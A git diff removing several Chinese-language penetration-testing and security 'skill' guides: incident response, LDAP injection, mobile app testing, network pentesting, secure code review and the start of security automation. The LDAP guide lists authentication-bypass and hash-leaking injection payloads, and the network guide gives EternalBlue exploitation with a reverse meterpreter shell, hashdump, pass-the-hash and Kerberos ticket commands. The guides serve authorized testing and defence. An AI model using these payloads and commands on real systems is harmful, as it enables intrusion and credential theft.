incident-response -description: 安全事件响应的专业技能和方法论 -version: 1.0.0 ---- - -# 安全事件响应 - -## 概述 - -安全事件响应是处理安全事件的关键流程。本技能提供安全事件响应的方法、工具和最佳实践。 - -## 响应流程 - -### 1. 准备阶段 - -**准备工作:** -- 建立响应团队 -- 制定响应计划 -- 准备工具和资源 -- 建立通信渠道 - -### 2. 识别阶段 - -**识别事件:** -- 监控告警 -- 异常检测 -- 日志分析 -- 用户报告 - -### 3. 遏制阶段 - -**遏制措施:** -- 隔离受影响系统 -- 禁用账户 -- 阻断网络连接 -- 备份证据 - -### 4. 清除阶段 - -**清除威胁:** -- 移除恶意软件 -- 修复漏洞 -- 重置凭证 -- 清理后门 - -### 5. 恢复阶段 - -**恢复系统:** -- 恢复备份 -- 验证系统完整性 -- 监控系统 -- 逐步恢复服务 - -### 6. 总结阶段 - -**总结经验:** -- 事件报告 -- 经验教训 -- 改进措施 -- 更新流程 - -## 工具使用 - -### 日志分析 - -**使用Splunk:** -```bash -# 搜索日志 -index=security event_type="failed_login" - -# 统计分析 -index=security | stats count by src_ip - -# 时间序列分析 -index=security | timechart count by event_type -``` - -**使用ELK:** -```bash -# Elasticsearch查询 -GET /logs/_search -{ - "query": { - "match": { - "event_type": "malware" - } - } -} -``` - -### 取证工具 - -**使用Volatility:** -```bash -# 分析内存镜像 -volatility -f memory.dump imageinfo - -# 列出进程 -volatility -f memory.dump --profile=Win7SP1x64 pslist - -# 提取进程内存 -volatility -f memory.dump --profile=Win7SP1x64 memdump -p 1234 -D output/ -``` - -**使用Autopsy:** -```bash -# 启动Autopsy -# 创建案例 -# 添加证据 -# 分析数据 -``` - -### 网络分析 - -**使用Wireshark:** -```bash -# 捕获流量 -wireshark -i eth0 - -# 分析PCAP文件 -wireshark -r capture.pcap - -# 过滤流量 -# 显示过滤器: ip.addr == 192.168.1.100 -# 捕获过滤器: host 192.168.1.100 -``` - -**使用tcpdump:** -```bash -# 捕获流量 -tcpdump -i eth0 -w capture.pcap - -# 分析流量 -tcpdump -r capture.pcap -A -``` - -## 事件类型 - -### 恶意软件 - -**响应步骤:** -1. 隔离受影响系统 -2. 收集样本 -3. 分析恶意软件 -4. 清除威胁 -5. 修复漏洞 - -**工具:** -- VirusTotal -- Cuckoo Sandbox -- YARA规则 - -### 数据泄露 - -**响应步骤:** -1. 确认泄露范围 -2. 遏制泄露 -3. 评估影响 -4. 通知相关方 -5. 修复漏洞 - -**检查项目:** -- 泄露数据量 -- 受影响用户 -- 泄露渠道 -- 数据敏感性 - -### 拒绝服务 - -**响应步骤:** -1. 确认攻击类型 -2. 启用防护措施 -3. 过滤恶意流量 -4. 监控系统状态 -5. 恢复正常服务 - -**防护措施:** -- DDoS防护服务 -- 流量清洗 -- 限流措施 -- CDN防护 - -### 未授权访问 - -**响应步骤:** -1. 禁用受影响账户 -2. 重置凭证 -3. 检查访问日志 -4. 评估数据访问 -5. 修复漏洞 - -**检查项目:** -- 访问时间 -- 访问内容 -- 访问来源 -- 数据修改 - -## 响应清单 - -### 准备阶段 -- [ ] 建立响应团队 -- [ ] 制定响应计划 -- [ ] 准备工具 -- [ ] 建立通信渠道 - -### 识别阶段 -- [ ] 确认事件 -- [ ] 收集信息 -- [ ] 评估影响 -- [ ] 记录时间线 - -### 遏制阶段 -- [ ] 隔离系统 -- [ ] 禁用账户 -- [ ] 阻断连接 -- [ ] 备份证据 - -### 清除阶段 -- [ ] 移除威胁 -- [ ] 修复漏洞 -- [ ] 重置凭证 -- [ ] 验证清除 - -### 恢复阶段 -- [ ] 恢复系统 -- [ ] 验证完整性 -- [ ] 监控系统 -- [ ] 恢复服务 - -### 总结阶段 -- [ ] 编写报告 -- [ ] 总结经验 -- [ ] 改进措施 -- [ ] 更新流程 - -## 最佳实践 - -### 1. 准备 - -- 建立响应团队 -- 制定响应计划 -- 定期演练 -- 准备工具 - -### 2. 响应 - -- 快速响应 -- 系统化处理 -- 记录所有操作 -- 保护证据 - -### 3. 沟通 - -- 内部沟通 -- 外部通知 -- 状态更新 -- 事后报告 - -### 4. 改进 - -- 事件分析 -- 流程改进 -- 工具更新 -- 培训提升 - -## 注意事项 - -- 快速响应 -- 保护证据 -- 记录操作 -- 遵守法律法规 \ No newline at end of file diff --git a/skills/ldap-injection-testing/SKILL.md b/skills/ldap-injection-testing/SKILL.md deleted file mode 100644 index 9ec38b7c..00000000 --- a/skills/ldap-injection-testing/SKILL.md +++ /dev/null @@ -1,300 +0,0 @@ ---- -name: ldap-injection-testing -description: LDAP注入漏洞测试的专业技能和方法论 -version: 1.0.0 ---- - -# LDAP注入漏洞测试 - -## 概述 - -LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。 - -## 漏洞原理 - -应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。 - -**危险代码示例:** -```java -String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))"; -ldapContext.search(baseDN, filter, ...); -``` - -## LDAP基础 - -### 查询语法 - -**基础查询:** -``` -(cn=John) -(objectClass=person) -(&(cn=John)(mail=john@example.com)) -(|(cn=John)(cn=Jane)) -(!(cn=John)) -``` - -### 特殊字符 - -**需要转义的字符:** -- `(` `)` - 括号 -- `*` - 通配符 -- `\` - 转义符 -- `/` - 路径分隔符 -- `NUL` - 空字符 - -## 测试方法 - -### 1. 识别LDAP输入点 - -**常见功能:** -- 用户登录 -- 用户搜索 -- 目录浏览 -- 权限验证 - -### 2. 基础检测 - -**测试特殊字符:** -``` -*)(& -*)(| -*))( -*))%00 -``` - -**测试逻辑操作符:** -``` -*)(&(cn=* -*)(|(cn=* -*))(!(cn=* -``` - -### 3. 认证绕过 - -**基础绕过:** -``` -用户名: *)(& -密码: * -查询: (&(cn=*)(&)(userPassword=*)) -``` - -**更精确的绕过:** -``` -用户名: admin)(&(cn=admin -密码: *)) -查询: (&(cn=admin)(&(cn=admin)(userPassword=*))) -``` - -### 4. 信息泄露 - -**枚举用户:** -``` -*)(cn=* -*)(uid=* -*)(mail=* -``` - -**获取属性:** -``` -*)(|(cn=*)(userPassword=* -*)(|(objectClass=*)(cn=* -``` - -## 利用技术 - -### 认证绕过 - -**方法1:逻辑绕过** -``` -输入: *)(& -查询: (&(cn=*)(&)(userPassword=*)) -结果: 匹配所有用户 -``` - -**方法2:注释绕过** -``` -输入: admin)(&(cn=admin -查询: (&(cn=admin)(&(cn=admin)(userPassword=*))) -``` - -**方法3:通配符** -``` -输入: *)(|(cn=*)(userPassword=* -查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*)) -``` - -### 信息泄露 - -**枚举所有用户:** -``` -搜索: *)(cn=* -结果: 返回所有cn属性 -``` - -**获取密码哈希:** -``` -搜索: *)(|(cn=*)(userPassword=* -结果: 返回用户和密码哈希 -``` - -**获取敏感属性:** -``` -搜索: *)(|(cn=*)(mail=*)(telephoneNumber=* -结果: 返回多个敏感属性 -``` - -### 权限提升 - -**修改查询逻辑:** -``` -原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com)) -注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user -结果: 可能绕过权限检查 -``` - -## 绕过技术 - -### 编码绕过 - -**URL编码:** -``` -*)(& → %2A%29%28%26 -*)(| → %2A%29%28%7C -``` - -**Unicode编码:** -``` -* → \u002A -( → \u0028 -) → \u0029 -``` - -### 注释绕过 - -**使用注释:** -``` -*)(&(cn=* -*)(|(cn=* -``` - -### 空字符注入 - -**使用NULL字节:** -``` -*))%00 -``` - -## 工具使用 - -### JXplorer - -**图形化LDAP客户端:** -- 连接LDAP服务器 -- 浏览目录结构 -- 执行查询测试 - -### ldapsearch - -```bash -# 基础查询 -ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)" - -# 测试注入 -ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&" -``` - -### Burp Suite - -1. 拦截LDAP查询请求 -2. 修改查询参数 -3. 观察响应结果 - -### Python脚本 - -```python -import ldap3 - -server = ldap3.Server('ldap://target.com') -conn = ldap3.Connection(server, authentication=ldap3.SIMPLE, - user='cn=admin,dc=example,dc=com', - password='password') - -# 测试注入 -filter_str = '*)(&' -conn.search('dc=example,dc=com', filter_str) -print(conn.entries) -``` - -## 验证和报告 - -### 验证步骤 - -1. 确认可以控制LDAP查询 -2. 验证认证绕过或信息泄露 -3. 评估影响(未授权访问、数据泄露等) -4. 记录完整的POC - -### 报告要点 - -- 漏洞位置和输入参数 -- LDAP查询构造方式 -- 完整的利用步骤和PoC -- 修复建议(输入验证、参数化查询等) - -## 防护措施 - -### 推荐方案 - -1. **输入验证** - ```java - private static final String[] LDAP_ESCAPE_CHARS = - {"\\", "*", "(", ")", "\0", "/"}; - - public static String escapeLDAP(String input) { - if (input == null) { - return null; - } - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < input.length(); i++) { - char c = input.charAt(i); - if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) { - sb.append("\\"); - } - sb.append(c); - } - return sb.toString(); - } - ``` - -2. **参数化查询** - ```java - // 使用LDAP API的参数化功能 - String filter = "(&(cn={0})(userPassword={1}))"; - Object[] args = {escapedCN, escapedPassword}; - // 使用API构建查询 - ``` - -3. **白名单验证** - ```java - // 只允许特定字符 - if (!input.matches("^[a-zA-Z0-9@._-]+$")) { - throw new IllegalArgumentException("Invalid input"); - } - ``` - -4. **最小权限** - - LDAP连接使用最小权限账户 - - 限制可查询的属性 - - 使用访问控制列表 - -5. **错误处理** - - 不返回详细错误信息 - - 统一错误响应 - - 记录错误日志 - -## 注意事项 - -- 仅在授权测试环境中进行 -- 注意不同LDAP服务器的语法差异 -- 测试时避免对目录造成影响 -- 了解目标LDAP服务器的配置 \ No newline at end of file diff --git a/skills/mobile-app-security-testing/SKILL.md b/skills/mobile-app-security-testing/SKILL.md deleted file mode 100644 index b0b46dbd..00000000 --- a/skills/mobile-app-security-testing/SKILL.md +++ /dev/null @@ -1,370 +0,0 @@ ---- -name: mobile-app-security-testing -description: 移动应用安全测试的专业技能和方法论 -version: 1.0.0 ---- - -# 移动应用安全测试 - -## 概述 - -移动应用安全测试是确保移动应用安全性的重要环节。本技能提供移动应用安全测试的方法、工具和最佳实践,涵盖Android和iOS平台。 - -## 测试范围 - -### 1. 应用安全 - -**检查项目:** -- 代码混淆 -- 反编译防护 -- 调试防护 -- 证书绑定 - -### 2. 数据安全 - -**检查项目:** -- 数据加密 -- 密钥管理 -- 敏感数据存储 -- 数据传输 - -### 3. 认证授权 - -**检查项目:** -- 认证机制 -- Token管理 -- 生物识别 -- 会话管理 - -### 4. 通信安全 - -**检查项目:** -- TLS/SSL配置 -- 证书验证 -- API安全 -- 中间人攻击防护 - -## Android安全测试 - -### 静态分析 - -**使用APKTool:** -```bash -# 反编译APK -apktool d app.apk - -# 查看AndroidManifest.xml -cat app/AndroidManifest.xml - -# 查看Smali代码 -find app/smali -name "*.smali" -``` - -**使用Jadx:** -```bash -# 反编译APK -jadx -d output app.apk - -# 查看Java源码 -find output -name "*.java" -``` - -**使用MobSF:** -```bash -# 启动MobSF -docker run -it -p 8000:8000 opensecurity/mobsf - -# 上传APK进行分析 -# 访问 http://localhost:8000 -``` - -### 动态分析 - -**使用Frida:** -```javascript -// Hook函数 -Java.perform(function() { - var MainActivity = Java.use("com.example.MainActivity"); - MainActivity.onCreate.implementation = function(savedInstanceState) { - console.log("[*] onCreate called"); - this.onCreate(savedInstanceState); - }; -}); -``` - -**使用Objection:** -```bash -# 启动Objection -objection -g com.example.app explore - -# Hook函数 -android hooking watch class_method com.example.MainActivity.onCreate -``` - -**使用Burp Suite:** -```bash -# 配置代理 -# Android设置代理指向Burp Suite -# 安装Burp证书 -``` - -### 常见漏洞 - -**硬编码密钥:** -```java -// 不安全的代码 -String apiKey = "1234567890abcdef"; -String password = "admin123"; -``` - -**不安全的存储:** -```java -// SharedPreferences存储敏感数据 -SharedPreferences prefs = getSharedPreferences("data", MODE_WORLD_READABLE); -prefs.edit().putString("password", password).apply(); -``` - -**证书验证绕过:** -```java -// 不验证证书 -TrustManager[] trustAllCerts = new TrustManager[] { - new X509TrustManager() { - public X509Certificate[] getAcceptedIssuers() { return null; } - public void checkClientTrusted(X509Certificate[] certs, String authType) { } - public void checkServerTrusted(X509Certificate[] certs, String authType) { } - } -}; -``` - -## iOS安全测试 - -### 静态分析 - -**使用class-dump:** -```bash -# 导出头文件 -class-dump app.ipa - -# 查看头文件 -find app -name "*.h" -``` - -**使用Hopper:** -```bash -# 使用Hopper反汇编 -# 打开app二进制文件 -# 分析汇编代码 -``` - -**使用otool:** -```bash -# 查看Mach-O信息 -otool -L app - -# 查看字符串 -strings app | grep -i "password\|key\|secret" -``` - -### 动态分析 - -**使用Frida:** -```javascript -// Hook Objective-C方法 -var className = ObjC.classes.ViewController; -var method = className['- login:password:']; -Interceptor.attach(method.implementation, { - onEnter: function(args) { - console.log("[*] Login called"); - console.log("Username: " + ObjC.Object(args[2]).toString()); - console.log("Password: " + ObjC.Object(args[3]).toString()); - } -}); -``` - -**使用Cycript:** -```bash -# 附加到进程 -cycript -p app - -# 执行命令 -[UIApplication sharedApplication] -``` - -### 常见漏洞 - -**硬编码密钥:** -```objective-c -// 不安全的代码 -NSString *apiKey = @"1234567890abcdef"; -NSString *password = @"admin123"; -``` - -**不安全的存储:** -```objective-c -// Keychain存储不当 -NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; -[defaults setObject:password forKey:@"password"]; -``` - -**证书验证绕过:** -```objective-c -// 不验证证书 -- (void)connection:(NSURLConnection *)connection -didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge { - [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] - forAuthenticationChallenge:challenge]; -} -``` - -## 工具使用 - -### MobSF - -```bash -# 启动MobSF -docker run -it -p 8000:8000 opensecurity/mobsf - -# 上传应用进行分析 -# 支持Android和iOS -``` - -### Frida - -```bash -# 安装Frida -pip install frida-tools - -# 运行脚本 -frida -U -f com.example.app -l script.js -``` - -### Objection - -```bash -# 安装Objection -pip install objection - -# 启动Objection -objection -g com.example.app explore -``` - -### Burp Suite - -**配置代理:** -1. 配置Burp Suite监听器 -2. 移动设备设置代理 -3. 安装Burp证书 -4. 拦截和分析流量 - -## 测试清单 - -### 应用安全 -- [ ] 代码混淆检查 -- [ ] 反编译防护 -- [ ] 调试防护 -- [ ] 证书绑定 - -### 数据安全 -- [ ] 数据加密检查 -- [ ] 密钥管理 -- [ ] 敏感数据存储 -- [ ] 数据传输安全 - -### 认证授权 -- [ ] 认证机制测试 -- [ ] Token管理 -- [ ] 会话管理 -- [ ] 生物识别 - -### 通信安全 -- [ ] TLS/SSL配置 -- [ ] 证书验证 -- [ ] API安全测试 -- [ ] 中间人攻击防护 - -## 常见安全问题 - -### 1. 硬编码密钥 - -**问题:** -- API密钥硬编码 -- 密码硬编码 -- 加密密钥硬编码 - -**修复:** -- 使用密钥管理服务 -- 使用环境变量 -- 使用安全存储 - -### 2. 不安全的存储 - -**问题:** -- 明文存储敏感数据 -- 使用不安全的存储方式 -- 数据未加密 - -**修复:** -- 使用加密存储 -- 使用Keychain/Keystore -- 实施数据加密 - -### 3. 证书验证绕过 - -**问题:** -- 不验证SSL证书 -- 接受自签名证书 -- 证书固定未实施 - -**修复:** -- 实施证书固定 -- 验证证书链 -- 使用系统证书存储 - -### 4. 调试信息泄露 - -**问题:** -- 日志包含敏感信息 -- 错误信息泄露 -- 调试模式未禁用 - -**修复:** -- 移除调试代码 -- 限制日志输出 -- 生产环境禁用调试 - -## 最佳实践 - -### 1. 代码安全 - -- 实施代码混淆 -- 禁用调试功能 -- 实施反调试保护 -- 使用证书绑定 - -### 2. 数据安全 - -- 加密敏感数据 -- 使用安全存储 -- 实施密钥管理 -- 限制数据访问 - -### 3. 通信安全 - -- 使用TLS/SSL -- 实施证书固定 -- 验证服务器证书 -- 使用安全API - -### 4. 认证安全 - -- 实施强认证 -- 安全Token管理 -- 实施会话管理 -- 使用生物识别 - -## 注意事项 - -- 仅在授权环境中进行测试 -- 遵守法律法规 -- 注意不同平台的差异 -- 保护用户隐私 \ No newline at end of file diff --git a/skills/network-penetration-testing/SKILL.md b/skills/network-penetration-testing/SKILL.md deleted file mode 100644 index 663f50ce..00000000 --- a/skills/network-penetration-testing/SKILL.md +++ /dev/null @@ -1,403 +0,0 @@ ---- -name: network-penetration-testing -description: 网络渗透测试的专业技能和方法论 -version: 1.0.0 ---- - -# 网络渗透测试 - -## 概述 - -网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。 - -## 测试范围 - -### 1. 信息收集 - -**检查项目:** -- 网络拓扑 -- 主机发现 -- 端口扫描 -- 服务识别 - -### 2. 漏洞扫描 - -**检查项目:** -- 系统漏洞 -- 服务漏洞 -- 配置错误 -- 弱密码 - -### 3. 漏洞利用 - -**检查项目:** -- 远程代码执行 -- 权限提升 -- 横向移动 -- 持久化 - -## 信息收集 - -### 网络扫描 - -**使用Nmap:** -```bash -# 主机发现 -nmap -sn 192.168.1.0/24 - -# 端口扫描 -nmap -sS -p- 192.168.1.100 - -# 服务识别 -nmap -sV -sC 192.168.1.100 - -# 操作系统识别 -nmap -O 192.168.1.100 - -# 完整扫描 -nmap -sS -sV -sC -O -p- 192.168.1.100 -``` - -**使用Masscan:** -```bash -# 快速端口扫描 -masscan -p1-65535 192.168.1.0/24 --rate=1000 -``` - -### 服务枚举 - -**SMB枚举:** -```bash -# 枚举SMB共享 -smbclient -L //192.168.1.100 -N - -# 枚举SMB用户 -enum4linux -U 192.168.1.100 - -# 使用nmap脚本 -nmap --script smb-enum-shares,smb-enum-users 192.168.1.100 -``` - -**RPC枚举:** -```bash -# 枚举RPC服务 -rpcclient -U "" -N 192.168.1.100 - -# 使用nmap脚本 -nmap --script rpc-enum 192.168.1.100 -``` - -**SNMP枚举:** -```bash -# SNMP扫描 -snmpwalk -v2c -c public 192.168.1.100 - -# 使用onesixtyone -onesixtyone -c wordlist.txt 192.168.1.0/24 -``` - -## 漏洞扫描 - -### 使用Nessus - -```bash -# 启动Nessus -# 访问Web界面 -# 创建扫描任务 -# 分析扫描结果 -``` - -### 使用OpenVAS - -```bash -# 启动OpenVAS -gvm-setup - -# 访问Web界面 -# 创建扫描任务 -# 分析扫描结果 -``` - -### 使用Nmap脚本 - -```bash -# 漏洞扫描 -nmap --script vuln 192.168.1.100 - -# 特定漏洞扫描 -nmap --script smb-vuln-ms17-010 192.168.1.100 - -# 所有脚本 -nmap --script all 192.168.1.100 -``` - -## 漏洞利用 - -### Metasploit - -**基础使用:** -```bash -# 启动Metasploit -msfconsole - -# 搜索漏洞 -search ms17-010 - -# 使用模块 -use exploit/windows/smb/ms17_010_eternalblue - -# 设置参数 -set RHOSTS 192.168.1.100 -set PAYLOAD windows/x64/meterpreter/reverse_tcp -set LHOST 192.168.1.10 -set LPORT 4444 - -# 执行 -exploit -``` - -**后渗透:** -```bash -# 获取系统信息 -sysinfo - -# 获取权限 -getsystem - -# 迁移进程 -migrate - -# 获取哈希 -hashdump - -# 获取密码 -run post/windows/gather/smart_hashdump -``` - -### 常见漏洞利用 - -**EternalBlue:** -```bash -# 使用Metasploit -use exploit/windows/smb/ms17_010_eternalblue - -# 使用独立工具 -python eternalblue.py 192.168.1.100 -``` - -**BlueKeep:** -```bash -# 使用Metasploit -use exploit/windows/rdp/cve_2019_0708_bluekeep_rce -``` - -**SMBGhost:** -```bash -# 使用独立工具 -python smbghost.py 192.168.1.100 -``` - -## 横向移动 - -### 密码破解 - -**使用Hashcat:** -```bash -# 破解NTLM哈希 -hashcat -m 1000 hashes.txt wordlist.txt - -# 破解LM哈希 -hashcat -m 3000 hashes.txt wordlist.txt - -# 使用规则 -hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule -``` - -**使用John:** -```bash -# 破解哈希 -john hashes.txt - -# 使用字典 -john --wordlist=wordlist.txt hashes.txt - -# 使用规则 -john --wordlist=wordlist.txt --rules hashes.txt -``` - -### Pass-the-Hash - -**使用Impacket:** -```bash -# SMB Pass-the-Hash -python smbexec.py -hashes : domain/user@target - -# WMI Pass-the-Hash -python wmiexec.py -hashes : domain/user@target - -# RDP Pass-the-Hash -xfreerdp /u:user /pth: /v:target -``` - -### 票据传递 - -**使用Mimikatz:** -```bash -# 提取票据 -sekurlsa::tickets /export - -# 注入票据 -kerberos::ptt ticket.kirbi -``` - -**使用Rubeus:** -```bash -# 请求票据 -Rubeus.exe asktgt /user:user /domain:domain /rc4:hash - -# 注入票据 -Rubeus.exe ptt /ticket:ticket.kirbi -``` - -## 工具使用 - -### Nmap - -```bash -# 完整扫描 -nmap -sS -sV -sC -O -p- -T4 target - -# 隐蔽扫描 -nmap -sS -T2 -f -D RND:10 target - -# UDP扫描 -nmap -sU -p- target -``` - -### Metasploit - -```bash -# 启动框架 -msfconsole - -# 数据库初始化 -msfdb init - -# 导入扫描结果 -db_import nmap.xml - -# 查看主机 -hosts - -# 查看服务 -services -``` - -### Burp Suite - -**网络扫描:** -1. 配置代理 -2. 浏览目标网络 -3. 分析流量 -4. 主动扫描 - -## 测试清单 - -### 信息收集 -- [ ] 网络拓扑发现 -- [ ] 主机发现 -- [ ] 端口扫描 -- [ ] 服务识别 -- [ ] 操作系统识别 - -### 漏洞扫描 -- [ ] 系统漏洞扫描 -- [ ] 服务漏洞扫描 -- [ ] 配置错误检查 -- [ ] 弱密码检查 - -### 漏洞利用 -- [ ] 远程代码执行 -- [ ] 权限提升 -- [ ] 横向移动 -- [ ] 持久化 - -## 常见安全问题 - -### 1. 未打补丁的系统 - -**问题:** -- 系统未及时更新 -- 存在已知漏洞 -- 补丁管理不当 - -**修复:** -- 及时安装补丁 -- 建立补丁管理流程 -- 定期安全更新 - -### 2. 弱密码 - -**问题:** -- 默认密码 -- 简单密码 -- 密码重用 - -**修复:** -- 实施强密码策略 -- 启用多因素认证 -- 定期更换密码 - -### 3. 开放端口 - -**问题:** -- 不必要的端口开放 -- 服务暴露 -- 防火墙配置错误 - -**修复:** -- 关闭不必要端口 -- 实施防火墙规则 -- 使用VPN访问 - -### 4. 配置错误 - -**问题:** -- 默认配置 -- 权限过大 -- 服务配置不当 - -**修复:** -- 安全配置基线 -- 最小权限原则 -- 定期配置审查 - -## 最佳实践 - -### 1. 信息收集 - -- 全面扫描 -- 多工具验证 -- 记录发现 -- 分析结果 - -### 2. 漏洞利用 - -- 授权测试 -- 最小影响 -- 记录操作 -- 及时清理 - -### 3. 报告编写 - -- 详细记录 -- 风险评级 -- 修复建议 -- 验证步骤 - -## 注意事项 - -- 仅在授权环境中进行测试 -- 避免对生产系统造成影响 -- 遵守法律法规 -- 保护测试数据 \ No newline at end of file diff --git a/skills/secure-code-review/SKILL.md b/skills/secure-code-review/SKILL.md deleted file mode 100644 index bbb7f0da..00000000 --- a/skills/secure-code-review/SKILL.md +++ /dev/null @@ -1,286 +0,0 @@ ---- -name: secure-code-review -description: 安全代码审查的专业技能和方法论 -version: 1.0.0 ---- - -# 安全代码审查 - -## 概述 - -安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。 - -## 审查范围 - -### 1. 输入验证 - -**检查项目:** -- 用户输入验证 -- 参数验证 -- 数据过滤 -- 边界检查 - -### 2. 输出编码 - -**检查项目:** -- XSS防护 -- 输出编码 -- 内容安全策略 -- 响应头设置 - -### 3. 认证授权 - -**检查项目:** -- 认证机制 -- 会话管理 -- 权限控制 -- 密码处理 - -### 4. 加密和密钥 - -**检查项目:** -- 数据加密 -- 密钥管理 -- 哈希算法 -- 随机数生成 - -## 审查方法 - -### 1. 静态分析 - -**使用SAST工具:** -```bash -# SonarQube -sonar-scanner - -# Checkmarx -# 使用Web界面 - -# Fortify -sourceanalyzer -b project build.sh -sourceanalyzer -b project -scan - -# Semgrep -semgrep --config=auto . -``` - -### 2. 手动审查 - -**审查清单:** -- [ ] 输入验证 -- [ ] 输出编码 -- [ ] SQL注入 -- [ ] XSS漏洞 -- [ ] 认证授权 -- [ ] 加密使用 -- [ ] 错误处理 -- [ ] 日志记录 - -### 3. 代码模式识别 - -**危险函数:** -```python -# Python危险函数 -eval() -exec() -pickle.loads() -os.system() -subprocess.call() -``` - -```java -// Java危险函数 -Runtime.exec() -ProcessBuilder() -Class.forName() -``` - -```php -// PHP危险函数 -eval() -exec() -system() -passthru() -``` - -## 常见漏洞模式 - -### SQL注入 - -**危险代码:** -```java -String query = "SELECT * FROM users WHERE id = " + userId; -Statement stmt = connection.createStatement(); -ResultSet rs = stmt.executeQuery(query); -``` - -**安全代码:** -```java -String query = "SELECT * FROM users WHERE id = ?"; -PreparedStatement stmt = connection.prepareStatement(query); -stmt.setInt(1, userId); -ResultSet rs = stmt.executeQuery(); -``` - -### XSS漏洞 - -**危险代码:** -```javascript -document.innerHTML = userInput; -element.innerHTML = "
" + userInput + "
"; -``` - -**安全代码:** -```javascript -element.textContent = userInput; -element.setAttribute("data-value", userInput); -// 或使用编码库 -element.innerHTML = escapeHtml(userInput); -``` - -### 命令注入 - -**危险代码:** -```python -import os -os.system("ping " + user_input) -``` - -**安全代码:** -```python -import subprocess -subprocess.run(["ping", "-c", "1", validated_input]) -``` - -### 路径遍历 - -**危险代码:** -```java -String filePath = "/uploads/" + fileName; -File file = new File(filePath); -``` - -**安全代码:** -```java -String basePath = "/uploads/"; -String fileName = Paths.get(fileName).getFileName().toString(); -String filePath = basePath + fileName; -File file = new File(filePath); -if (!file.getCanonicalPath().startsWith(basePath)) { - throw new SecurityException("Invalid path"); -} -``` - -### 硬编码密钥 - -**危险代码:** -```java -String apiKey = "1234567890abcdef"; -String password = "admin123"; -``` - -**安全代码:** -```java -String apiKey = System.getenv("API_KEY"); -String password = keyStore.getPassword("db_password"); -``` - -## 工具使用 - -### SonarQube - -```bash -# 启动SonarQube -docker run -d -p 9000:9000 sonarqube - -# 运行扫描 -sonar-scanner \ - -Dsonar.projectKey=myproject \ - -Dsonar.sources=. \ - -Dsonar.host.url=http://localhost:9000 -``` - -### Semgrep - -```bash -# 安装 -pip install semgrep - -# 运行扫描 -semgrep --config=auto . - -# 使用规则 -semgrep --config=p/security-audit . -``` - -### CodeQL - -```bash -# 创建数据库 -codeql database create database --language=java --source-root=. - -# 运行查询 -codeql database analyze database security-and-quality.qls --format=sarif-latest -``` - -## 审查清单 - -### 输入验证 -- [ ] 所有用户输入都经过验证 -- [ ] 使用白名单验证 -- [ ] 验证数据类型和范围 -- [ ] 处理特殊字符 - -### 输出编码 -- [ ] HTML输出编码 -- [ ] URL编码 -- [ ] JavaScript编码 -- [ ] SQL参数化 - -### 认证授权 -- [ ] 强密码策略 -- [ ] 安全的会话管理 -- [ ] 权限验证 -- [ ] 多因素认证 - -### 加密 -- [ ] 使用强加密算法 -- [ ] 密钥安全存储 -- [ ] 传输加密 -- [ ] 存储加密 - -### 错误处理 -- [ ] 不泄露敏感信息 -- [ ] 统一错误响应 -- [ ] 记录错误日志 -- [ ] 异常处理 - -## 最佳实践 - -### 1. 安全编码规范 - -- 遵循OWASP Top 10 -- 使用安全编码指南 -- 代码审查流程 -- 安全培训 - -### 2. 自动化工具 - -- 集成SAST工具 -- CI/CD安全检查 -- 自动化扫描 -- 结果分析 - -### 3. 代码审查流程 - -- 同行审查 -- 安全专家审查 -- 定期审查 -- 记录问题 - -## 注意事项 - -- 结合工具和人工审查 -- 关注业务逻辑漏洞 -- 定期更新工具规则 -- 建立安全编码文化 \ No newline at end of file diff --git a/skills/security-automation/SKILL.md b/skills/security-automation/SKILL.md deleted file mode 100644 index 6fe5ffc6..00000000 --- a/skills/security-automation/SKILL.md +++ /dev/null @@ -1,383 +0,0 @@ ---- -name: security-automation -description: 安全自动化的专业技能和方法论 -version: 1.0.0 ---- - -# 安全自动化 - -## 概述 - -安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。 - -## 自动化场景 - -### 1. 漏洞扫描 - -**自动化扫描:** -- 定期扫描 -- CI/CD集成 -- 结果分析 -- 报告生成 - -### 2. 安全测试 - -**自动化测试:** -- 单元测试 -- 集成测试 -- 安全测试 -- 回归测试 - -### 3. 事件响应 - -**自动化响应:** -- 事件检测 -- 自动遏制 -- 通知告警 -- 证据收集 - -### 4. 合规检查 - -**自动化合规:** -- 配置检查 -- 策略验证 -- 报告生成 -- 修复建议 - -## 工具和框架 - -### 漏洞扫描自动化 - -**使用Nessus API:** -```python -import requests - -# 创建扫描 -def create_scan(target, scan_name): - url = "https://nessus:8834/scans" - headers = {"X-ApiKeys": "access_key:secret_key"} - data = { - "uuid": "template-uuid", - "settings": { - "name": scan_name, - "text_targets": target - } - } - response = requests.post(url, json=data, headers=headers) - return response.json() - -# 启动扫描 -def launch_scan(scan_id): - url = f"https://nessus:8834/scans/{scan_id}/launch" - headers = {"X-ApiKeys": "access_key:secret_key"} - response = requests.post(url, headers=headers) - return response.json() -``` - -**使用OpenVAS API:** -```python -from gvm.connections import UnixSocketConnection -from gvm.protocols.gmp import Gmp - -# 连接OpenVAS -connection = UnixSocketConnection() -gmp = Gmp(connection) -gmp.authenticate('username', 'password') - -# 创建扫描任务 -target = gmp.create_target(name='target', hosts=['192.168.1.0/24']) -config = gmp.get_configs()[0] -scanner = gmp.get_scanners()[0] - -task = gmp.create_task( - name='scan_task', - config_id=config['id'], - target_id=target['id'], - scanner_id=scanner['id'] -) - -# 启动扫描 -gmp.start_task(task['id']) -``` - -### CI/CD集成 - 